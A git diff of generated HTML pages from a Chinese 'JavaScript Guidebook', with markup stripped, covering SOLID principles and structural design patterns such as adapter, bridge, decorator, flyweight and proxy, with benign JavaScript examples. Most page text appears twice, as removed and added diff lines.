                                          接口隔离原则(Interface Segregation Principle,ISP) 是 SOLID 原则之一,它强调一个类不应该被强迫实现它不需要的接口。简而言之,一个类对另一个类的依赖应该建立在最小的接口上。

                                          在通俗的语言中,接口隔离原则告诉我们不应该让一个类依赖它不需要的接口,否则会导致类需要实现一些它根本不需要的方法。

                                          举例说明,假设我们有一个动物园的系统,其中有两种动物,一种会飞,一种会游泳:

                                          // 不遵循接口隔离原则的设计
                                          class Bird {
                                          fly() {
                                          // 实现飞行逻辑
                                          }
                                          +
                                          swim() {
                                          // 这是一个鸟类不需要的方法,违反接口隔离原则
                                          }
                                          }
                                          +
                                          class Fish {
                                          swim() {
                                          // 实现游泳逻辑
                                          }
                                          +
                                          fly() {
                                          // 这是一个鱼类不需要的方法,违反接口隔离原则
                                          }
                                          }

                                          在这个例子中,Bird 类实现了 flyswim 两个方法,而 Fish 类也实现了 swimfly 两个方法。这违反了接口隔离原则,因为每个类都被迫实现了它们不需要的方法。

                                          为了符合接口隔离原则,我们可以将接口拆分成更小的部分,让每个类只实现它们需要的方法:

                                          // 遵循接口隔离原则的设计
                                          class Bird {
                                          fly() {
                                          // 实现飞行逻辑
                                          }
                                          }
                                          +
                                          class Fish {
                                          swim() {
                                          // 实现游泳逻辑
                                          }
                                          }

                                          这样,每个类都只依赖于它们需要的接口,不再强迫实现不必要的方法。接口隔离原则的目标是使接口更具体,更贴近类的实际需求,从而提高系统的灵活性和可维护性。

                                          依赖反转原则

                                          依赖反转原则(Dependency Inversion Principle,DIP) 是 SOLID 原则之一,它强调高层模块不应该依赖于低层模块,而两者都应该依赖于抽象。抽象不应该依赖于细节,细节应该依赖于抽象。简而言之,依赖反转原则倡导通过抽象来解耦高层和低层模块之间的依赖关系。

                                          举例说明,考虑一个简单的报告生成系统,有一个高层模块 ReportGenerator 负责生成报告:

                                          // 不遵循依赖反转原则的设计
                                          class ReportGenerator {
                                          constructor() {
                                          this.pdfGenerator = new PDFGenerator(); // 依赖于具体的 PDF 生成器
                                          }
                                          +
                                          generateReport() {
                                          // 生成报告的逻辑
                                          this.pdfGenerator.generatePDF();
                                          }
                                          }
                                          +
                                          class PDFGenerator {
                                          generatePDF() {
                                          // 具体的 PDF 生成逻辑
                                          }
                                          }

                                          在这个设计中,ReportGenerator 直接依赖于具体的 PDFGenerator 类,这违反了依赖反转原则。如果我们想使用其他类型的报告生成器,例如 HTMLGenerator,就需要修改 ReportGenerator 类。

                                          为了符合依赖反转原则,我们应该通过抽象来解耦高层和低层模块:

                                          // 遵循依赖反转原则的设计
                                          class ReportGenerator {
                                          constructor(generator) {
                                          this.generator = generator; // 依赖于抽象的报告生成器接口
                                          }
                                          +
                                          generateReport() {
                                          // 生成报告的逻辑
                                          this.generator.generate();
                                          }
                                          }
                                          +
                                          class PDFGenerator {
                                          generate() {
                                          // 具体的 PDF 生成逻辑
                                          }
                                          }
                                          +
                                          class HTMLGenerator {
                                          generate() {
                                          // 具体的 HTML 生成逻辑
                                          }
                                          }

                                          现在,ReportGenerator 不再直接依赖于具体的实现,而是依赖于抽象的报告生成器接口。这使得我们可以轻松地扩展系统,例如添加新的报告生成器,而不需要修改 ReportGenerator 类。这样的设计更加灵活,符合依赖反转原则。

                                          - + diff --git a/design-patterns/index.html b/design-patterns/index.html index 03231cba9..e3b2aafc9 100644 --- a/design-patterns/index.html +++ b/design-patterns/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 设计模式 - JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/structual/adapter/index.html b/design-patterns/structual/adapter/index.html index e664c8155..d4b426cca 100644 --- a/design-patterns/structual/adapter/index.html +++ b/design-patterns/structual/adapter/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 适配器模式 - JavaScript Guidebook -

                                          适配器模式

                                          适配器模式(Adapter Pattern) 是将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作,其别名为包装器(Wrapper)。适配器模式既可以作为类结构型模式,也可以作为对象结构型模式。

                                          模式结构

                                          适配器模式包含如下角色:

                                          • Target(目标抽象类):目标抽象类定义客户所需接口,可以是一个抽象类或接口,也可以是具体类。
                                          • Adapter(适配器类):适配器可以调用另一个接口,作为一个转换器,对 Adaptee 和 Target 进行适配,适配器类是适配器模式的核心,在对象适配器中,它通过继承 Target 并关联一个 Adaptee 对象使二者产生联系。
                                          • Adaptee(适配者类):适配者即被适配的角色,它定义了一个已经存在的接口,这个接口需要适配,适配者类一般是一个具体类,包含了客户希望使用的业务方法,在某些情况下可能没有适配者类的源代码。
                                          • Client(客户类)

                                          代码实现

                                          class Adapter {
                                          test() {
                                          return '旧接口';
                                          }
                                          }
                                          +

                                          适配器模式

                                          适配器模式(Adapter Pattern) 是将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作,其别名为包装器(Wrapper)。适配器模式既可以作为类结构型模式,也可以作为对象结构型模式。

                                          模式结构

                                          适配器模式包含如下角色:

                                          • Target(目标抽象类):目标抽象类定义客户所需接口,可以是一个抽象类或接口,也可以是具体类。
                                          • Adapter(适配器类):适配器可以调用另一个接口,作为一个转换器,对 Adaptee 和 Target 进行适配,适配器类是适配器模式的核心,在对象适配器中,它通过继承 Target 并关联一个 Adaptee 对象使二者产生联系。
                                          • Adaptee(适配者类):适配者即被适配的角色,它定义了一个已经存在的接口,这个接口需要适配,适配者类一般是一个具体类,包含了客户希望使用的业务方法,在某些情况下可能没有适配者类的源代码。
                                          • Client(客户类)

                                          代码实现

                                          class Adapter {
                                          test() {
                                          return '旧接口';
                                          }
                                          }
                                          class Target {
                                          constructor() {
                                          this.adapter = new Adapter();
                                          }
                                          test() {
                                          let info = this.adapter.test();
                                          return `适配${info}`;
                                          }
                                          }
                                          -
                                          const target = new Target();
                                          // '适配旧借口'
                                          console.log(target.test());
                                          +
                                          const target = new Target();
                                          // '适配旧借口'
                                          console.log(target.test());
                                          - + diff --git a/design-patterns/structual/bridge/index.html b/design-patterns/structual/bridge/index.html index 09a5e5490..aa4e0f782 100644 --- a/design-patterns/structual/bridge/index.html +++ b/design-patterns/structual/bridge/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 桥接模式 - JavaScript Guidebook -

                                          桥接模式

                                          桥接模式(Bridge Pattern):将抽象部分与它的实现部分分离,使它们都可以独立地变化。它是一种对象结构型模式,又称为柄体(Handle and Body)模式或接口(Interface)模式。

                                          模式结构

                                          桥接模式包含如下角色:

                                          • Abstraction(抽象类):定义抽象接口,拥有一个 Implementor 类型的对象引用
                                          • RefinedAbstraction(扩充抽象类):扩展 Abstraction 中的接口定义
                                          • Implementor(实现类接口):是具体实现的接口,Implementor 和 RefinedAbstraction 接口并不一定完全一致,实际上这两个接口可以完全不一样 Implementor 提供具体操作方法,而 Abstraction 提供更高层次的调用
                                          • ConcreteImplementor(具体实现类):实现 Implementor 接口,给出具体实现

                                          模式分析

                                          理解桥接模式,重点需要理解如何将抽象化(Abstraction)与实现化(Implementation)脱耦,使得二者可以独立地变化。

                                          • 抽象化:抽象化就是忽略一些信息,把不同的实体当作同样的实体对待。在面向对象中,将对象的共同性质抽取出来形成类的过程即为抽象化的过程。
                                          • 实现化:针对抽象化给出的具体实现,就是实现化,抽象化与实现化是一对互逆的概念,实现化产生的对象比抽象化更具体,是对抽象化事物的进一步具体化的产物。
                                          • 脱耦:脱耦就是将抽象化和实现化之间的耦合解脱开,或者说是将它们之间的强关联改换成弱关联,将两个角色之间的继承关系改为关联关系。桥接模式中的所谓脱耦,就是指在一个软件系统的抽象化和实现化之间使用关联关系(组合或者聚合关系)而不是继承关系,从而使两者可以相对独立地变化,这就是桥接模式的用意。

                                          优点和缺点

                                          桥接模式的优点:

                                          • 分离抽象接口及其实现部分。
                                          • 桥接模式有时类似于多继承方案,但是多继承方案违背了类的单一职责原则(即一个类只有一个变化的原因),复用性比较差,而且多继承结构中类的个数非常庞大,桥接模式是比多继承方案更好的解决方法。
                                          • 桥接模式提高了系统的可扩充性,在两个变化维度中任意扩展一个维度,都不需要修改原有系统。
                                          • 实现细节对客户透明,可以对用户隐藏实现细节。

                                          桥接模式的缺点:

                                          • 桥接模式的引入会增加系统的理解与设计难度,由于聚合关联关系建立在抽象层,要求开发者针对抽象进行设计与编程。
                                          • 桥接模式要求正确识别出系统中两个独立变化的维度,因此其使用范围具有一定的局限性。
                                          +

                                          桥接模式

                                          桥接模式(Bridge Pattern):将抽象部分与它的实现部分分离,使它们都可以独立地变化。它是一种对象结构型模式,又称为柄体(Handle and Body)模式或接口(Interface)模式。

                                          模式结构

                                          桥接模式包含如下角色:

                                          • Abstraction(抽象类):定义抽象接口,拥有一个 Implementor 类型的对象引用
                                          • RefinedAbstraction(扩充抽象类):扩展 Abstraction 中的接口定义
                                          • Implementor(实现类接口):是具体实现的接口,Implementor 和 RefinedAbstraction 接口并不一定完全一致,实际上这两个接口可以完全不一样 Implementor 提供具体操作方法,而 Abstraction 提供更高层次的调用
                                          • ConcreteImplementor(具体实现类):实现 Implementor 接口,给出具体实现

                                          模式分析

                                          理解桥接模式,重点需要理解如何将抽象化(Abstraction)与实现化(Implementation)脱耦,使得二者可以独立地变化。

                                          • 抽象化:抽象化就是忽略一些信息,把不同的实体当作同样的实体对待。在面向对象中,将对象的共同性质抽取出来形成类的过程即为抽象化的过程。
                                          • 实现化:针对抽象化给出的具体实现,就是实现化,抽象化与实现化是一对互逆的概念,实现化产生的对象比抽象化更具体,是对抽象化事物的进一步具体化的产物。
                                          • 脱耦:脱耦就是将抽象化和实现化之间的耦合解脱开,或者说是将它们之间的强关联改换成弱关联,将两个角色之间的继承关系改为关联关系。桥接模式中的所谓脱耦,就是指在一个软件系统的抽象化和实现化之间使用关联关系(组合或者聚合关系)而不是继承关系,从而使两者可以相对独立地变化,这就是桥接模式的用意。

                                          优点和缺点

                                          桥接模式的优点:

                                          • 分离抽象接口及其实现部分。
                                          • 桥接模式有时类似于多继承方案,但是多继承方案违背了类的单一职责原则(即一个类只有一个变化的原因),复用性比较差,而且多继承结构中类的个数非常庞大,桥接模式是比多继承方案更好的解决方法。
                                          • 桥接模式提高了系统的可扩充性,在两个变化维度中任意扩展一个维度,都不需要修改原有系统。
                                          • 实现细节对客户透明,可以对用户隐藏实现细节。

                                          桥接模式的缺点:

                                          • 桥接模式的引入会增加系统的理解与设计难度,由于聚合关联关系建立在抽象层,要求开发者针对抽象进行设计与编程。
                                          • 桥接模式要求正确识别出系统中两个独立变化的维度,因此其使用范围具有一定的局限性。
                                          - + diff --git a/design-patterns/structual/composite/index.html b/design-patterns/structual/composite/index.html index 1e2e8b246..f1afb1ad7 100644 --- a/design-patterns/structual/composite/index.html +++ b/design-patterns/structual/composite/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 组合模式 - JavaScript Guidebook -

                                            组合模式

                                            组合模式(Composite)通常用于将对象组合成树形结构以表示“部分-整体”的层次结构,组合模式使得用户对单个对象和组合对象的使用具有一致性。

                                            基本结构

                                            组合模式主要有三种角色:

                                            • 抽象组件(Component):抽象类,主要定义了参与组合的对象的公共接口
                                            • 子对象(Leaf):组成组合对象的最基本对象
                                            • 组合对象(Composite):由子对象组合起来的复杂对象

                                            理解组合模式的关键是要理解组合模式对单个对象和组合对象使用的一致性。

                                            +

                                              组合模式

                                              组合模式(Composite)通常用于将对象组合成树形结构以表示“部分-整体”的层次结构,组合模式使得用户对单个对象和组合对象的使用具有一致性。

                                              基本结构

                                              组合模式主要有三种角色:

                                              • 抽象组件(Component):抽象类,主要定义了参与组合的对象的公共接口
                                              • 子对象(Leaf):组成组合对象的最基本对象
                                              • 组合对象(Composite):由子对象组合起来的复杂对象

                                              理解组合模式的关键是要理解组合模式对单个对象和组合对象使用的一致性。

                                              - + diff --git a/design-patterns/structual/decorator/index.html b/design-patterns/structual/decorator/index.html index b9c721ffd..f6581abe7 100644 --- a/design-patterns/structual/decorator/index.html +++ b/design-patterns/structual/decorator/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 装饰者模式 - JavaScript Guidebook -

                                              装饰者模式

                                              装饰模式(Decorator Pattern):动态地给一个对象增加一些额外的职责(Responsibility),就增加对象功能来说,装饰模式比生成子类实现更为灵活。其别名也可以称为包装器(Wrapper),与适配器模式的别名相同,但它们适用于不同的场合。根据翻译的不同,装饰模式也有人称之为 油漆工模式,它是一种对象结构型模式。ES7 的装饰器语法以及 React 中的高阶组件(HoC)都是这一模式的实现,react-reduxconnect() 也运用了装饰器模式。

                                              模式结构

                                              装饰模式包含如下角色:

                                              • Component(抽象构件):它是具体构件和抽象装饰类的共同父类,声明了在具体构件中实现的业务方法,它的引入可以使客户端以一致的方式处理未被装饰的对象以及装饰之后的对象,实现客户端的透明操作。
                                              • ConcreteComponent(具体构件):它是抽象构件类的子类,用于定义具体的构件对象,实现了在抽象构件中声明的方法,装饰器可以给它增加额外的职责(方法)。
                                              • Decorator(抽象装饰类):它也是抽象构件类的子类,用于给具体构件增加职责,但是具体职责在其子类中实现。它维护一个指向抽象构件对象的引用,通过该引用可以调用装饰之前构件对象的方法,并通过其子类扩展该方法,以达到装饰的目的。
                                              • ConcreteDecorator(具体装饰类):它是抽象装饰类的子类,负责向构件添加新的职责。每一个具体装饰类都定义了一些新的行为,它可以调用在抽象装饰类中定义的方法,并可以增加新的方法用以扩充对象的行为。

                                              模式分析

                                              • 与继承关系相比,关联关系的主要优势在于不会破坏类的封装性,而且继承是一种耦合度较大的静态关系,无法在程序运行时动态扩展。在软件开发阶段,关联关系虽然不会比继承关系减少编码量,但是到了软件维护阶段,由于关联关系使系统具有较好的松耦合性,因此使得系统更加容易维护。当然,关联关系的缺点是比继承关系要创建更多的对象。
                                              • 使用装饰模式来实现扩展比继承更加灵活,它以对客户透明的方式动态地给一个对象附加更多的责任。装饰模式可以在不需要创造更多子类的情况下,将对象的功能加以扩展。

                                              优点和缺点

                                              装饰模式的优点:

                                              • 装饰模式与继承关系的目的都是要扩展对象的功能,但是装饰模式可以提供比继承更多的灵活性。
                                              • 可以通过一种动态的方式来扩展一个对象的功能,通过配置文件可以在运行时选择不同的装饰器,从而实现不同的行为。
                                              • 通过使用不同的具体装饰类以及这些装饰类的排列组合,可以创造出很多不同行为的组合。可以使用多个具体装饰类来装饰同一对象,得到功能更为强大的对象。
                                              • 具体构件类与具体装饰类可以独立变化,用户可以根据需要增加新的具体构件类和具体装饰类,在使用时再对其进行组合,原有代码无须改变,符合“开闭原则”

                                              装饰模式的缺点:

                                              • 使用装饰模式进行系统设计时将产生很多小对象,这些对象的区别在于它们之间相互连接的方式有所不同,而不是它们的类或者属性值有所不同,同时还将产生很多具体装饰类。这些装饰类和小对象的产生将增加系统的复杂度,加大学习与理解的难度。
                                              • 这种比继承更加灵活机动的特性,也同时意味着装饰模式比继承更加易于出错,排错也很困难,对于多次装饰的对象,调试时寻找错误可能需要逐级排查,较为烦琐。

                                              代码实现

                                              AOP 是一种可以通过预编译方式和运行期动态代理实现在不修改源代码的情况下给程序动态统一添加功能的一种技术。

                                              AOP 实际是 GoF 设计模式的延续,设计模式孜孜不倦追求的是调用者和被调用者之间的解耦,提高代码的灵活性和可扩展性,AOP 可以说也是这种目标的一种实现。

                                              AOP (面向切面编程)装饰函数:

                                              Function.prototype.before = function (fn) {
                                              const self = this;
                                              +

                                              装饰者模式

                                              装饰模式(Decorator Pattern):动态地给一个对象增加一些额外的职责(Responsibility),就增加对象功能来说,装饰模式比生成子类实现更为灵活。其别名也可以称为包装器(Wrapper),与适配器模式的别名相同,但它们适用于不同的场合。根据翻译的不同,装饰模式也有人称之为 油漆工模式,它是一种对象结构型模式。ES7 的装饰器语法以及 React 中的高阶组件(HoC)都是这一模式的实现,react-reduxconnect() 也运用了装饰器模式。

                                              模式结构

                                              装饰模式包含如下角色:

                                              • Component(抽象构件):它是具体构件和抽象装饰类的共同父类,声明了在具体构件中实现的业务方法,它的引入可以使客户端以一致的方式处理未被装饰的对象以及装饰之后的对象,实现客户端的透明操作。
                                              • ConcreteComponent(具体构件):它是抽象构件类的子类,用于定义具体的构件对象,实现了在抽象构件中声明的方法,装饰器可以给它增加额外的职责(方法)。
                                              • Decorator(抽象装饰类):它也是抽象构件类的子类,用于给具体构件增加职责,但是具体职责在其子类中实现。它维护一个指向抽象构件对象的引用,通过该引用可以调用装饰之前构件对象的方法,并通过其子类扩展该方法,以达到装饰的目的。
                                              • ConcreteDecorator(具体装饰类):它是抽象装饰类的子类,负责向构件添加新的职责。每一个具体装饰类都定义了一些新的行为,它可以调用在抽象装饰类中定义的方法,并可以增加新的方法用以扩充对象的行为。

                                              模式分析

                                              • 与继承关系相比,关联关系的主要优势在于不会破坏类的封装性,而且继承是一种耦合度较大的静态关系,无法在程序运行时动态扩展。在软件开发阶段,关联关系虽然不会比继承关系减少编码量,但是到了软件维护阶段,由于关联关系使系统具有较好的松耦合性,因此使得系统更加容易维护。当然,关联关系的缺点是比继承关系要创建更多的对象。
                                              • 使用装饰模式来实现扩展比继承更加灵活,它以对客户透明的方式动态地给一个对象附加更多的责任。装饰模式可以在不需要创造更多子类的情况下,将对象的功能加以扩展。

                                              优点和缺点

                                              装饰模式的优点:

                                              • 装饰模式与继承关系的目的都是要扩展对象的功能,但是装饰模式可以提供比继承更多的灵活性。
                                              • 可以通过一种动态的方式来扩展一个对象的功能,通过配置文件可以在运行时选择不同的装饰器,从而实现不同的行为。
                                              • 通过使用不同的具体装饰类以及这些装饰类的排列组合,可以创造出很多不同行为的组合。可以使用多个具体装饰类来装饰同一对象,得到功能更为强大的对象。
                                              • 具体构件类与具体装饰类可以独立变化,用户可以根据需要增加新的具体构件类和具体装饰类,在使用时再对其进行组合,原有代码无须改变,符合“开闭原则”

                                              装饰模式的缺点:

                                              • 使用装饰模式进行系统设计时将产生很多小对象,这些对象的区别在于它们之间相互连接的方式有所不同,而不是它们的类或者属性值有所不同,同时还将产生很多具体装饰类。这些装饰类和小对象的产生将增加系统的复杂度,加大学习与理解的难度。
                                              • 这种比继承更加灵活机动的特性,也同时意味着装饰模式比继承更加易于出错,排错也很困难,对于多次装饰的对象,调试时寻找错误可能需要逐级排查,较为烦琐。

                                              代码实现

                                              AOP 是一种可以通过预编译方式和运行期动态代理实现在不修改源代码的情况下给程序动态统一添加功能的一种技术。

                                              AOP 实际是 GoF 设计模式的延续,设计模式孜孜不倦追求的是调用者和被调用者之间的解耦,提高代码的灵活性和可扩展性,AOP 可以说也是这种目标的一种实现。

                                              AOP (面向切面编程)装饰函数:

                                              Function.prototype.before = function (fn) {
                                              const self = this;
                                              return function () {
                                              fn.apply(new self(), arguments);
                                              return self.apply(new self(), arguments);
                                              };
                                              };
                                              Function.prototype.after = function (fn) {
                                              const self = this;
                                              @@ -44,12 +47,12 @@
                                              const invokeFunc = (funcArgs, resolve, reject) => {
                                              fn.call(context, funcArgs).then(
                                              () => {
                                              isPromiseFulfilled = true;
                                              resolve();
                                              },
                                              () => {
                                              isPromiseFulfilled = false;
                                              isFuncInvoked = false;
                                              reject();
                                              }
                                              );
                                              };
                                              return function (...args) {
                                              return new Promise((resolve, reject) => {
                                              if (!isPromiseFulfilled && !isFuncInvoked) {
                                              invokeFunc(args, resolve, reject);
                                              isFuncInvoked = true;
                                              }
                                              });
                                              };
                                              };
                                              export default onceDecorator;

                                              因为装饰的可能是函数,也可能是对象的方法,所以提供了两个工具函数 decoratorFunctiondecoratorMethod,具体实现如下:

                                              /**
                                              * 装饰函数
                                              * @param {*} func 被装饰的函数
                                              * @param {*} decorator 装饰器
                                              */
                                              const decorateFunction = (func, decorator) => {
                                              return decorator(func);
                                              };
                                              -
                                              /**
                                              * 装饰方法
                                              * @param {*} func 被装饰的方法
                                              * @param {*} decorator 装饰器
                                              * @param {*} context 上下文
                                              */
                                              const decorateMethod = (func, decorator, context) => {
                                              return decorator.bind(context)(func);
                                              };

                                              实际应用场景:

                                              • Redux 中间件
                                              • Vuex 中间件
                                              • Express 和 Koa 洋葱模型(中间件)

                                              参考资料:

                                              +
                                              /**
                                              * 装饰方法
                                              * @param {*} func 被装饰的方法
                                              * @param {*} decorator 装饰器
                                              * @param {*} context 上下文
                                              */
                                              const decorateMethod = (func, decorator, context) => {
                                              return decorator.bind(context)(func);
                                              };

                                              实际应用场景:

                                              • Redux 中间件
                                              • Vuex 中间件
                                              • Express 和 Koa 洋葱模型(中间件)

                                              参考资料:

                                              - + diff --git a/design-patterns/structual/facade/index.html b/design-patterns/structual/facade/index.html index 500a73761..c3a425cbb 100644 --- a/design-patterns/structual/facade/index.html +++ b/design-patterns/structual/facade/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 外观模式 - JavaScript Guidebook -
                                              +
                                              - + diff --git a/design-patterns/structual/flyweight/index.html b/design-patterns/structual/flyweight/index.html index 9ce47b7c5..902f1203d 100644 --- a/design-patterns/structual/flyweight/index.html +++ b/design-patterns/structual/flyweight/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 享元模式 - JavaScript Guidebook -

                                              享元模式

                                              享元模式(Flyweight Pattern):运用共享技术有效地支持大量细粒度对象的复用。系统只使用少量的对象,而这些对象都很相似,状态变化很小,可以实现对象的多次复用。由于享元模式要求能够共享的对象必须是细粒度对象,因此它又称为轻量级模式,它是一种对象结构型模式。享元模式结构较为复杂,一般结合工厂模式一起使用。

                                              模式结构

                                              享元模式包含如下角色:

                                              • Flyweight(抽象享元类):通常是一个接口或抽象类,在抽象享元类中声明了具体享元类公共的方法,这些方法可以向外界提供享元对象的内部数据(内部状态),同时也可以通过这些方法来设置外部数据(外部状态)。
                                              • ConcreteFlyweight(具体享元类):它实现了抽象享元类,其实例称为享元对象;在具体享元类中为内部状态提供了存储空间。通常我们可以结合单例模式来设计具体享元类,为每一个具体享元类提供唯一的享元对象。
                                              • UnsharedConcreteFlyweight(非共享具体享元类):并不是所有的抽象享元类的子类都需要被共享,不能被共享的子类可设计为非共享具体享元类;当需要一个非共享具体享元类的对象时可以直接通过实例化创建。
                                              • FlyweightFactory(享元工厂类):享元工厂类用于创建并管理享元对象,它针对抽象享元类编程,将各种类型的具体享元对象存储在一个享元池中,享元池一般设计为一个存储“键值对”的集合(也可以是其他类型的集合),可以结合工厂模式进行设计;当用户请求一个具体享元对象时,享元工厂一共一个存储在享元池中已创建的实例或者创建一个新的实例(如果不存在的话),返回新创建的实例并将其存储在享元池中。

                                              模式分析

                                              享元模式是一个考虑系统性能的设计模式,通过使用享元模式可以节约内存空间,提高系统的性能。

                                              享元模式的核心在于享元工厂类,享元工厂类的作用在于提供一个用于存储享元对象的享元池,用户需要对象时,首先从享元池中获取,如果享元池中不存在,则创建一个新的享元对象返回给用户,并在享元池中保存该新增对象。

                                              享元模式以共享的方式高效地支持大量的细粒度对象,享元对象能做到共享的关键是区分内部状态(Internal State)和外部状态(External State)。

                                              • 内部状态是存储在享元对象内部并且不会随环境改变而改变的状态,因此内部状态可以共享。
                                              • 外部状态是随环境改变而改变的、不可以共享的状态。享元对象的外部状态必须由客户端保存,并在享元对象被创建之后,在需要使用的时候再传入到享元对象内部。一个外部状态与另一个外部状态之间是相互独立的。

                                              优点和缺点

                                              享元模式的优点

                                              • 享元模式的优点在于它可以极大减少内存中对象的数量,使得相同对象或相似对象在内存中只保存一份。
                                              • 享元模式的外部状态相对独立,而且不会影响其内部状态,从而使得享元对象可以在不同的环境中被共享。

                                              享元模式的缺点

                                              • 享元模式使得系统更加复杂,需要分离出内部状态和外部状态,这使得程序的逻辑复杂化。
                                              • 为了使对象可以共享,享元模式需要将享元对象的状态外部化,而读取外部状态使得运行时间变长。
                                              +

                                              享元模式

                                              享元模式(Flyweight Pattern):运用共享技术有效地支持大量细粒度对象的复用。系统只使用少量的对象,而这些对象都很相似,状态变化很小,可以实现对象的多次复用。由于享元模式要求能够共享的对象必须是细粒度对象,因此它又称为轻量级模式,它是一种对象结构型模式。享元模式结构较为复杂,一般结合工厂模式一起使用。

                                              模式结构

                                              享元模式包含如下角色:

                                              • Flyweight(抽象享元类):通常是一个接口或抽象类,在抽象享元类中声明了具体享元类公共的方法,这些方法可以向外界提供享元对象的内部数据(内部状态),同时也可以通过这些方法来设置外部数据(外部状态)。
                                              • ConcreteFlyweight(具体享元类):它实现了抽象享元类,其实例称为享元对象;在具体享元类中为内部状态提供了存储空间。通常我们可以结合单例模式来设计具体享元类,为每一个具体享元类提供唯一的享元对象。
                                              • UnsharedConcreteFlyweight(非共享具体享元类):并不是所有的抽象享元类的子类都需要被共享,不能被共享的子类可设计为非共享具体享元类;当需要一个非共享具体享元类的对象时可以直接通过实例化创建。
                                              • FlyweightFactory(享元工厂类):享元工厂类用于创建并管理享元对象,它针对抽象享元类编程,将各种类型的具体享元对象存储在一个享元池中,享元池一般设计为一个存储“键值对”的集合(也可以是其他类型的集合),可以结合工厂模式进行设计;当用户请求一个具体享元对象时,享元工厂一共一个存储在享元池中已创建的实例或者创建一个新的实例(如果不存在的话),返回新创建的实例并将其存储在享元池中。

                                              模式分析

                                              享元模式是一个考虑系统性能的设计模式,通过使用享元模式可以节约内存空间,提高系统的性能。

                                              享元模式的核心在于享元工厂类,享元工厂类的作用在于提供一个用于存储享元对象的享元池,用户需要对象时,首先从享元池中获取,如果享元池中不存在,则创建一个新的享元对象返回给用户,并在享元池中保存该新增对象。

                                              享元模式以共享的方式高效地支持大量的细粒度对象,享元对象能做到共享的关键是区分内部状态(Internal State)和外部状态(External State)。

                                              • 内部状态是存储在享元对象内部并且不会随环境改变而改变的状态,因此内部状态可以共享。
                                              • 外部状态是随环境改变而改变的、不可以共享的状态。享元对象的外部状态必须由客户端保存,并在享元对象被创建之后,在需要使用的时候再传入到享元对象内部。一个外部状态与另一个外部状态之间是相互独立的。

                                              优点和缺点

                                              享元模式的优点

                                              • 享元模式的优点在于它可以极大减少内存中对象的数量,使得相同对象或相似对象在内存中只保存一份。
                                              • 享元模式的外部状态相对独立,而且不会影响其内部状态,从而使得享元对象可以在不同的环境中被共享。

                                              享元模式的缺点

                                              • 享元模式使得系统更加复杂,需要分离出内部状态和外部状态,这使得程序的逻辑复杂化。
                                              • 为了使对象可以共享,享元模式需要将享元对象的状态外部化,而读取外部状态使得运行时间变长。
                                              - + diff --git a/design-patterns/structual/index.html b/design-patterns/structual/index.html index 1b0c01697..2a4284224 100644 --- a/design-patterns/structual/index.html +++ b/design-patterns/structual/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -
                                              +
                                              - + diff --git a/design-patterns/structual/proxy/index.html b/design-patterns/structual/proxy/index.html index 2bc5c5e40..eb4b4e7a2 100644 --- a/design-patterns/structual/proxy/index.html +++ b/design-patterns/structual/proxy/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 代理模式 - JavaScript Guidebook -

                                              代理模式

                                              代理模式(Proxy Pattern) 是指为一个原对象找一个代理对象,以便对原对象进行访问。即在访问者与目标对象之间加一层代理,通过代理做授权和控制。代理模式的英文叫做 Proxy 或 Surrogate,它是一种对象结构型模式。

                                              最常见的例子就是经纪人代理明星业务,假设你作为投资人,想联系明星打广告,那么你就需要先经过代理经纪人,经纪人对你的资质进行考察,并为你进行排期,替明星过滤不必要的信息。

                                              事件委托/代理、jQuery 的 $.proxy、ES6 的 proxy 都是这一模式的实现。

                                              代理模式又分为 静态代理动态代理

                                              • 静态代理 是由程序员创建或特定工具自动生成源代码,再对其编译。在程序运行前,代理类的 .class 文件就已经存在了。
                                              • 动态代理 是在程序运行时,通过运用反射机制动态的创建而成。

                                              模式结构

                                              代理模式包含如下角色:

                                              • Subject(抽象主题角色):声明了目标对象和代理对象的共同接口,这样一来在任何可以使用目标对象的地方都可以使用代理对象。
                                              • Proxy(代理主题角色):也称为委托角色或者被代理角色。定义了代理对象所代表的目标对象。
                                              • RealSubject(真实主题角色):也叫委托类、代理类。代理对象内部含有目标对象的引用,从而可以在任何时候操作目标对象;代理对象提供一个与目标对象相同的接口,以便可以在任何时候替代目标对象。代理对象通常在客户端调用传递给目标对象之前或之后,执行某个操作,而不是单纯地将调用传递给目标对象。

                                              优点和缺点

                                              代理模式的优点

                                              • 代理模式能够协调调用者和被调用者,在一定程度上降低了系统的耦合度。
                                              • 远程代理使得客户端可以访问在远程机器上的对象,远程机器可能具有更好的计算性能与处理速度,可以快速响应并处理客户端请求。
                                              • 虚拟代理通过使用一个小对象来代表一个大对象,可以减少系统资源的消耗,对系统进行优化并提高运行速度。
                                              • 保护代理可以控制对真实对象的使用权限。

                                              代理模式的缺点

                                              • 由于在客户端和真实主题之间增加了代理对象,因此有些类型的代理模式可能会造成请求的处理速度变慢。
                                              • 实现代理模式需要额外的工作,有些代理模式的实现非常复杂。

                                              实践应用

                                              图片预加载

                                              虚拟代理:作为创建开销大的对象的代表;虚拟代理经常直到我们真正需要一个对象的时候才创建它;当对象在创建或创建中时,由虚拟代理来扮演对象的替身;对象创建后,代理就会将请求直接委托给对象。

                                              const image = (function () {
                                              const imgNode = document.createElement('img');
                                              +

                                              代理模式

